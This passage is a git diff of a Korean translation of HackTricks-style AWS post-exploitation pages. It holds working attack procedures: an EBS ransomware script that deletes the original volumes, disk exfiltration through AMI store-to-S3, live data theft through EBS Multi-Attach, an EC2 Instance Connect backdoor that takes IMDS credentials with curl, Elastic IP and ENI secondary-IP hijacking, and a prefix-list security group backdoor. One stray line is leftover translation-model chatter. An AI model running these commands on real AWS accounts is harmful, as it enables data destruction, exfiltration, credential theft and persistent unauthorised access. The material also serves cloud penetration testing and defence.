20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ransomware 예제와 유사하게, 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 만들고, 'attacker' 계정의 공개 키를 사용해 새 EBS 볼륨들을 암호화한 다음, 원본 EBS 볼륨들을 EC2 인스턴스에서 분리하여 삭제하고, 이후 새로 암호화된 EBS 볼륨을 만드는 데 사용된 스냅샷들을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -이로 인해 계정에 남아 있는 것은 암호화된 EBS 볼륨뿐입니다. +이로 인해 계정에는 암호화된 EBS 볼륨만 남게 됩니다. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -또한 주목할 점은, 스크립트가 EC2 인스턴스를 중지시켜 원래 EBS 볼륨을 분리하고 삭제했다는 것입니다. 원래의 암호화되지 않은 볼륨은 이제 사라졌습니다. +또한 스크립트가 원본 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지시켰다는 점도 주목할 만합니다. 원본의 암호화되지 않은 볼륨들은 이제 사라졌습니다. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -다음으로, '공격자' 계정의 키 정책으로 돌아가 'Outside Encryption' 정책 규칙을 키 정책에서 제거합니다. +다음으로 'attacker' 계정의 키 정책으로 돌아가서 키 정책에서 'Outside Encryption' 정책 규칙을 제거합니다. ```json { "Version": "2012-10-17", @@ -365,15 +431,15 @@ S3 랜섬웨어 예제와 유사하게, 이 공격은 연결된 EBS 볼륨의 ] } ``` -잠시 새로 설정된 키 정책이 전파되기를 기다리십시오. 그런 다음 '피해자' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보십시오. 볼륨을 연결할 수 있음을 알게 될 것입니다. +잠시 새로 설정한 key policy가 전파될 때까지 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 attach해 보세요. 볼륨을 attach할 수 있음을 확인할 수 있습니다. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨을 키 정책이 더 이상 허용하지 않기 때문에 키를 사용하여 복호화할 수 없기 때문입니다. +하지만 암호화된 EBS 볼륨을 장착한 상태로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 'pending' 상태에서 다시 'stopped' 상태로 영원히 돌아갑니다. 연결된 EBS 볼륨이 해당 key로 복호화될 수 없기 때문이며, key policy가 더 이상 이를 허용하지 않기 때문입니다. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -이것은 사용된 파이썬 스크립트입니다. '피해자' 계정의 AWS 자격 증명과 암호화에 사용될 키의 공개적으로 사용 가능한 AWS ARN 값을 가져옵니다. 이 스크립트는 대상 AWS 계정의 모든 EC2 인스턴스에 연결된 모든 EBS 볼륨의 암호화된 복사본을 만들고, 모든 EC2 인스턴스를 중지하고, 원래 EBS 볼륨을 분리하고, 삭제한 다음, 프로세스 중에 사용된 모든 스냅샷을 삭제합니다. 이렇게 하면 대상 '피해자' 계정에 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하십시오. 파괴적이며 모든 원래 EBS 볼륨을 삭제합니다. 사용된 KMS 키를 사용하여 복구하고 스냅샷을 통해 원래 상태로 복원할 수 있지만, 결국 이것이 랜섬웨어 PoC라는 점을 인지하시기 바랍니다. +이것이 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정의 AWS creds와 암호화에 사용할 공개적으로 사용 가능한 AWS ARN 값을 입력받습니다. 스크립트는 대상 AWS 계정에 연결된 모든 EC2 인스턴스의 사용 가능한 모든 EBS 볼륨을 암호화된 사본으로 만들고, 모든 EC2 인스턴스를 중지시키며, 원본 EBS 볼륨을 분리(detach)하고 삭제한 다음, 과정에서 사용된 모든 스냅샷도 삭제합니다. 이로 인해 대상 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요 — 파괴적이며 원본 EBS 볼륨을 모두 삭제합니다. 사용된 KMS key를 사용해 스냅샷으로 복구하여 원래 상태로 복원할 수는 있지만, 결국 이는 ransomware PoC임을 알려드립니다. ``` import boto3 import argparse @@ -490,7 +556,7 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` -## References +## 참고자료 - [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md new file mode 100644 index 000000000..1195cb90f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md @@ -0,0 +1,137 @@ +# AWS – AMI Store-to-S3를 통한 은밀한 디스크 유출 (CreateStoreImageTask) + +{{#include ../../../../banners/hacktricks-training.md}} + +## 요약 +EC2 AMI의 export-to-S3 기능을 악용하여 EC2 인스턴스의 전체 디스크를 S3에 단일 원시 이미지로 내보내고, 이를 대역 외로 다운로드합니다. 이는 스냅샷 공유를 피하고 AMI당 하나의 객체를 생성합니다. + +## 요구사항 +- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` 대상 인스턴스/AMI에서 +- S3 (같은 Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation` +- AMI 스냅샷을 보호하는 키에 대한 KMS decrypt 권한 (EBS 기본 암호화가 활성화된 경우) +- `vmie.amazonaws.com` 서비스 주체를 신뢰하는 S3 버킷 정책(아래 참조) + +## 영향 +- 스냅샷을 공유하거나 계정 간 복사 없이 인스턴스 루트 디스크를 S3에 완전히 오프라인 획득할 수 있음. +- 내보낸 원시 이미지에서 자격증명, 구성 및 파일시스템 내용을 은밀하게 포렌식할 수 있음. + +## AMI Store-to-S3로 유출하는 방법 + +- 참고: +- S3 버킷은 AMI와 같은 리전에 있어야 합니다. +- `us-east-1`에서는 `create-bucket`에 `--create-bucket-configuration`을 포함하면 안 됩니다. +- `--no-reboot`는 인스턴스를 중지하지 않고 crash-consistent 이미지를 생성합니다 (더 은밀하지만 일관성은 낮음). + +
+단계별 명령 +```bash +# Vars +REGION=us-east-1 +INSTANCE_ID= +BUCKET=exfil-ami-$(date +%s)-$RANDOM + +# 1) Create S3 bucket (same Region) +if [ "$REGION" = "us-east-1" ]; then +aws s3api create-bucket --bucket "$BUCKET" --region "$REGION" +else +aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION" +fi + +# 2) (Recommended) Bucket policy to allow VMIE service to write the object +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +cat > /tmp/bucket-policy.json < + +## 증거 예시 + +- `describe-store-image-tasks` 전환: +```text +InProgress +Completed +``` +- S3 오브젝트 메타데이터(예): +```json +{ +"AcceptRanges": "bytes", +"LastModified": "2025-10-08T01:31:46+00:00", +"ContentLength": 399768709, +"ETag": "\"c84d216455b3625866a58edf294168fd-24\"", +"ContentType": "application/octet-stream", +"ServerSideEncryption": "AES256", +"Metadata": { +"ami-name": "exfil-1759887010", +"ami-owner-account": "", +"ami-store-date": "2025-10-08T01:31:45Z" +} +} +``` +- 부분 다운로드는 객체 액세스를 증명합니다: +```bash +ls -l /tmp/ami.bin +# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin +``` +## 필요한 IAM 권한 + +- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks` +- S3 (내보내기 버킷에서): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation` +- KMS: AMI 스냅샷이 암호화된 경우, 스냅샷에 사용된 EBS KMS 키에 대해 decrypt를 허용 + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md new file mode 100644 index 000000000..a79993f18 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md @@ -0,0 +1,77 @@ +# AWS - Live Data Theft via EBS Multi-Attach + +{{#include ../../../../banners/hacktricks-training.md}} + +## 요약 +공격자가 제어하는 동일한 Availability Zone (AZ) 내 인스턴스에 동일한 볼륨을 연결하여 EBS Multi-Attach를 악용해 라이브 io1/io2 데이터 볼륨을 읽습니다. 공유 볼륨을 읽기 전용으로 마운트하면 snapshots를 생성하지 않고 사용 중인 파일에 즉시 접근할 수 있습니다. + +## 요구사항 +- 대상 볼륨: 공격자 인스턴스와 동일한 AZ에 생성된 io1 또는 io2로, `--multi-attach-enabled`로 생성되어야 합니다. +- 권한: 대상 볼륨/인스턴스에 대해 `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances`. +- 인프라: Multi-Attach를 지원하는 Nitro 기반 인스턴스 유형 (C5/M5/R5 계열 등). + +## 참고 +- 손상 위험을 줄이고 저널 재생을 피하려면 `-o ro,noload`로 읽기 전용으로 마운트하세요. +- Nitro 인스턴스에서는 EBS NVMe 장치가 안정적인 `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` 경로를 노출합니다 (아래 헬퍼 참조). + +## Prepare a Multi-Attach io2 volume and attach to victim + +Example (create in `us-east-1a` and attach to the victim): +```bash +AZ=us-east-1a +# Create io2 volume with Multi-Attach enabled +VOL_ID=$(aws ec2 create-volume \ +--size 10 \ +--volume-type io2 \ +--iops 1000 \ +--availability-zone $AZ \ +--multi-attach-enabled \ +--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \ +--query 'VolumeId' --output text) + +# Attach to victim instance +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf +``` +피해자 시스템에서 새 볼륨을 포맷/마운트하고 민감한 데이터를 기록합니다(예시): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkfs.ext4 -F "$DEV" +sudo mkdir -p /mnt/shared +sudo mount "$DEV" /mnt/shared +echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt +sudo sync +``` +## 공격자 인스턴스에 동일한 볼륨 연결 +```bash +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf +``` +## attacker에서 읽기 전용으로 마운트하고 데이터 읽기 +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkdir -p /mnt/steal +sudo mount -o ro,noload "$DEV" /mnt/steal +sudo cat /mnt/steal/secret.txt +``` +예상 결과: 동일한 `VOL_ID`에 여러 `Attachments` (victim과 attacker)가 표시되며, attacker는 snapshot을 생성하지 않고 victim이 쓴 파일을 읽을 수 있다. +```bash +aws ec2 describe-volumes --volume-ids $VOL_ID \ +--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}' +``` +
+도움말: 볼륨 ID로 NVMe 디바이스 경로 찾기 + +Nitro instances에서는 볼륨 ID를 포함하는 안정적인 by-id 경로를 사용하세요(`vol` 뒤의 대시를 제거): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" +# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... +``` +
+ +## 영향 +- 즉시 타깃 EBS 볼륨의 라이브 데이터에 snapshots를 생성하지 않고 읽을 수 있다. +- 만약 read-write로 마운트된 경우 공격자는 피해자 파일시스템을 변조할 수 있다(손상 위험). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md new file mode 100644 index 000000000..d7212fb23 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md @@ -0,0 +1,113 @@ +# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection + +{{#include ../../../../banners/hacktricks-training.md}} + +EC2 Instance Connect Endpoint (EIC Endpoint)을 악용하여 퍼블릭 IP나 bastion이 없는 프라이빗 EC2 인스턴스에 대한 인바운드 SSH 접근을 획득합니다. 방법: +- 타깃 서브넷 내부에 EIC Endpoint 생성 +- EIC Endpoint SG로부터 타깃 SG에 대한 인바운드 SSH 허용 +- 짧은 수명의 SSH 공개키(유효 약 60초)를 `ec2-instance-connect:SendSSHPublicKey`로 주입 +- EIC 터널을 열어 인스턴스로 피벗하여 IMDS에서 인스턴스 프로파일 자격증명 탈취 + +Impact: bastion과 public IP 제한을 우회하는 프라이빗 EC2 인스턴스에 대한 은밀한 원격 접근 경로. 공격자는 인스턴스 프로파일을 획득하여 계정 내에서 활동할 수 있습니다. + +## 요구사항 +- 권한: +- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` +- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` +- SSH 서버가 실행 중이고 EC2 Instance Connect가 활성화된 대상 Linux 인스턴스 (Amazon Linux 2 또는 Ubuntu 20.04+). 기본 사용자: `ec2-user` (AL2) 또는 `ubuntu` (Ubuntu). + +## 변수 +```bash +export REGION=us-east-1 +export INSTANCE_ID= +export SUBNET_ID= +export VPC_ID= +export TARGET_SG_ID= +export ENDPOINT_SG_ID= +# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) +export OS_USER=ec2-user +``` +## EIC Endpoint 생성 +```bash +aws ec2 create-instance-connect-endpoint \ +--subnet-id "$SUBNET_ID" \ +--security-group-ids "$ENDPOINT_SG_ID" \ +--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ +--region "$REGION" \ +--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID + +# Wait until ready +while true; do +aws ec2 describe-instance-connect-endpoints \ +--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ +--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE +grep -q 'create-complete' EIC_STATE && break +sleep 5 +done +``` +## EIC Endpoint에서 대상 인스턴스로 트래픽 허용 +```bash +aws ec2 authorize-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true +``` +## 일시적 SSH 키 주입 및 터널 열기 +```bash +# Generate throwaway key +ssh-keygen -t ed25519 -f /tmp/eic -N '' + +# Send short-lived SSH pubkey (valid ~60s) +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "$OS_USER" \ +--ssh-public-key file:///tmp/eic.pub \ +--region "$REGION" + +# Open a local tunnel to instance:22 via the EIC Endpoint +aws ec2-instance-connect open-tunnel \ +--instance-id "$INSTANCE_ID" \ +--instance-connect-endpoint-id "$(cat EIC_ID)" \ +--local-port 2222 --remote-port 22 --region "$REGION" & +TUN_PID=$!; sleep 2 + +# SSH via the tunnel (within the 60s window) +ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no +``` +## Post-exploitation 증명 (steal instance profile credentials) +```bash +# From the shell inside the instance +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) +``` +번역할 원문을 제공해 주세요. 파일 내용(또는 해당 Markdown)을 여기에 붙여넣어 주세요. +```json +{ +"Code": "Success", +"AccessKeyId": "ASIA...", +"SecretAccessKey": "w0G...", +"Token": "IQoJ...", +"Expiration": "2025-10-08T04:09:52Z" +} +``` +로컬에서 훔친 creds를 사용하여 신원을 확인: +```bash +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity --region "$REGION" +# => arn:aws:sts:::assumed-role// +``` +## 정리 +```bash +# Revoke SG ingress on the target +aws ec2 revoke-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true + +# Delete EIC Endpoint +aws ec2 delete-instance-connect-endpoint \ +--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" +``` +> 참고 +> - 주입된 SSH 키는 약 60초 동안만 유효합니다; 터널/SSH를 열기 직전에 키를 전송하세요. +> - `OS_USER`는 AMI와 일치해야 합니다(예: `ubuntu`는 Ubuntu, `ec2-user`는 Amazon Linux 2). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md new file mode 100644 index 000000000..19b530349 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md @@ -0,0 +1,52 @@ +# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation + +{{#include ../../../../banners/hacktricks-training.md}} + +## 요약 + +`ec2:AssociateAddress` (및 선택적으로 `ec2:DisassociateAddress`)를 악용하여 피해자 instance/ENI에 할당된 Elastic IP (EIP)를 공격자 instance/ENI로 재연결합니다. 이렇게 하면 EIP로 향하던 수신 트래픽이 공격자로 리디렉션되며, 공격자는 허용된 공용 IP로 발신 트래픽을 생성해 외부 파트너 방화벽을 우회할 수 있습니다. + +## 전제 조건 +- 대상 EIP 할당 ID가 동일한 계정/VPC에 있어야 합니다. +- 공격자가 제어하는 instance/ENI. +- 권한: +- `ec2:DescribeAddresses` +- `ec2:AssociateAddress` on the EIP allocation-id and on the attacker instance/ENI +- `ec2:DisassociateAddress` (선택사항). 참고: `--allow-reassociation`은 이전 attachment에서 자동으로 분리됩니다. + +## 공격 + +변수 +```bash +REGION=us-east-1 +ATTACKER_INSTANCE= +VICTIM_INSTANCE= +``` +1) 피해자의 EIP를 할당하거나 식별합니다 (랩이 새 EIP를 할당해 피해자에게 연결합니다) +```bash +ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text) +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION +EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text) +``` +2) EIP가 현재 피해자 서비스로 해석되는지 확인합니다 (예: 배너 확인) +```bash +curl -sS http://$EIP | grep -i victim +``` +3) EIP를 attacker에게 재연결 (victim에서 자동으로 분리됨) +```bash +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION +``` +4) EIP가 이제 attacker service로 해석되는지 확인 +```bash +sleep 5; curl -sS http://$EIP | grep -i attacker +``` +증거 (이동된 연관): +```bash +aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \ +--query Addresses[0].AssociationId --output text +``` +## 영향 +- Inbound impersonation: 하이재킹된 EIP로 향하는 모든 트래픽이 공격자 instance/ENI로 전달됩니다. +- Outbound impersonation: 공격자는 allowlisted public IP에서 발생한 것처럼 보이는 트래픽을 시작할 수 있습니다(파트너/외부 소스 IP 필터를 우회하는 데 유용). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md new file mode 100644 index 000000000..39dce5e07 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md @@ -0,0 +1,50 @@ +# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass) + +{{#include ../../../../banners/hacktricks-training.md}} + +`ec2:UnassignPrivateIpAddresses`와 `ec2:AssignPrivateIpAddresses`를 악용해 victim ENI’s secondary private IP를 탈취하고 같은 subnet/AZ의 attacker ENI로 이동시킵니다. 많은 내부 서비스와 보안 그룹은 특정 프라이빗 IP로 접근을 제한합니다. 해당 secondary 주소를 이동하면 공격자는 L3에서 신뢰된 호스트를 가장해 allowlisted 서비스에 접근할 수 있습니다. + +Prereqs: +- 권한: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN. +- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned). + +Variables: +- REGION=us-east-1 +- VICTIM_ENI= +- ATTACKER_ENI= +- PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP +- PROTECTED_HOST= + +Steps: +1) victim ENI에서 secondary IP 하나를 선택합니다 +```bash +aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP +export HIJACK_IP=$(cat HIJACK_IP) +``` +2) 보호된 호스트가 해당 IP만 허용하도록 설정하세요(멱등성). 대신 SG-to-SG 규칙을 사용하는 경우 건너뛰세요. +```bash +aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true +``` +3) 기준: attacker instance에서 PROTECTED_HOST로의 요청은 spoofed source 없이 실패해야 함 (예: SSM/SSH) +```bash +curl -sS --max-time 3 http://$PROTECTED_HOST || true +``` +4) 피해자 ENI에서 보조 IP 할당 해제 +```bash +aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +5) attacker ENI에 동일한 IP를 할당합니다 (AWS CLI v1에서는 `--allow-reassignment`을 추가) +```bash +aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +6) 소유권이 이전되었는지 확인 +```bash +aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP +``` +7) attacker instance에서, protected host에 도달하기 위해 hijacked IP에 source-bind 하세요 (IP가 OS에 설정되어 있는지 확인하세요; 설정되어 있지 않다면 `ip addr add $HIJACK_IP/ dev eth0`로 추가하세요) +```bash +curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out +``` +## Impact +- IP allowlists를 우회하고 같은 subnet/AZ 내에서 ENIs 간에 secondary private IPs를 이동시켜 VPC 내의 신뢰된 호스트를 가장할 수 있습니다. +- 특정 source IPs로 접근을 제한하는 내부 서비스에 도달할 수 있어, lateral movement 및 data access를 가능하게 합니다. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md new file mode 100644 index 000000000..b157d187c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md @@ -0,0 +1,72 @@ +# AWS - Managed Prefix Lists를 통한 Security Group 백도어 + +{{#include ../../../../banners/hacktricks-training.md}} + +## 요약 +customer-managed Prefix Lists를 악용하여 은밀한 접근 경로를 만듭니다. Security Group (SG) 규칙이 managed Prefix List를 참조하고 있다면, 해당 리스트를 수정할 수 있는 누구나 공격자가 제어하는 CIDRs를 조용히 추가할 수 있습니다. 그 리스트를 참조하는 모든 SG(및 잠재적으로 Network ACL이나 VPC endpoint)는 SG에 눈에 띄는 변경이 없어도 즉시 새로운 범위를 허용하게 됩니다. + +## 영향 +- 프리픽스 리스트를 참조하는 모든 SG에 대해 허용된 IP 범위가 즉시 확장되어, SG 편집만 모니터링하는 변경 통제를 우회합니다. +- 지속적인 인그레스/이그레스 백도어를 가능하게 합니다: 악의적인 CIDR을 프리픽스 리스트에 숨겨두고 SG 규칙은 변경되지 않은 것처럼 보이게 합니다. + +## 요구사항 +- IAM 권한: +- `ec2:DescribeManagedPrefixLists` +- `ec2:GetManagedPrefixListEntries` +- `ec2:ModifyManagedPrefixList` +- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (연결된 SG 식별용) +- 선택 사항: 테스트용으로 새로 생성하는 경우 `ec2:CreateManagedPrefixList`. +- 환경: 대상 customer-managed Prefix List를 참조하는 SG 규칙이 최소 하나 이상 있어야 합니다. + +## 변수 +```bash +REGION=us-east-1 +PREFIX_LIST_ID= +ENTRY_CIDR= +DESCRIPTION="Backdoor – allow attacker" +``` +## 공격 단계 + +1) **후보 prefix lists 및 consumers 열거** +```bash +aws ec2 describe-managed-prefix-lists \ +--region "$REGION" \ +--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \ +--output table + +aws ec2 get-managed-prefix-list-entries \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--region "$REGION" \ +--query 'Entries[*].[Cidr,Description]' +``` +`aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID`을 사용하여 어떤 SG 규칙이 이 prefix list에 의존하는지 확인하세요. + +2) **prefix list에 attacker CIDR를 추가하세요** +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \ +--region "$REGION" +``` +3) **보안 그룹으로의 전파를 검증** +```bash +aws ec2 describe-security-group-rules \ +--region "$REGION" \ +--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \ +--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \ +--output table +``` +`$ENTRY_CIDR`에서 오는 트래픽은 prefix list가 참조되는 모든 곳에서 이제 허용됩니다 (일반적으로 egress proxies의 outbound 규칙이나 shared services의 inbound 규칙). + +## Evidence +- `get-managed-prefix-list-entries`에는 공격자 CIDR과 설명이 반영되어 있습니다. +- `describe-security-group-rules`는 여전히 prefix list를 참조하는 원래의 SG 규칙을 표시합니다(보안 그룹 변경 기록 없음). 그럼에도 새 CIDR에서의 트래픽은 성공합니다. + +## Cleanup +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--remove-entries Cidr="$ENTRY_CIDR" \ +--region "$REGION" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md new file mode 100644 index 000000000..7005ea026 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md @@ -0,0 +1,68 @@ +# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints + +{{#include ../../../../banners/hacktricks-training.md}} + +## 요약 + +이 기법은 Internet Gateways나 NAT가 없는 서브넷에서 데이터 유출 채널을 만들기 위해 VPC Endpoints를 악용한다. Gateway endpoints (예: S3)는 서브넷의 route table에 prefix‑list 경로를 추가하고; Interface 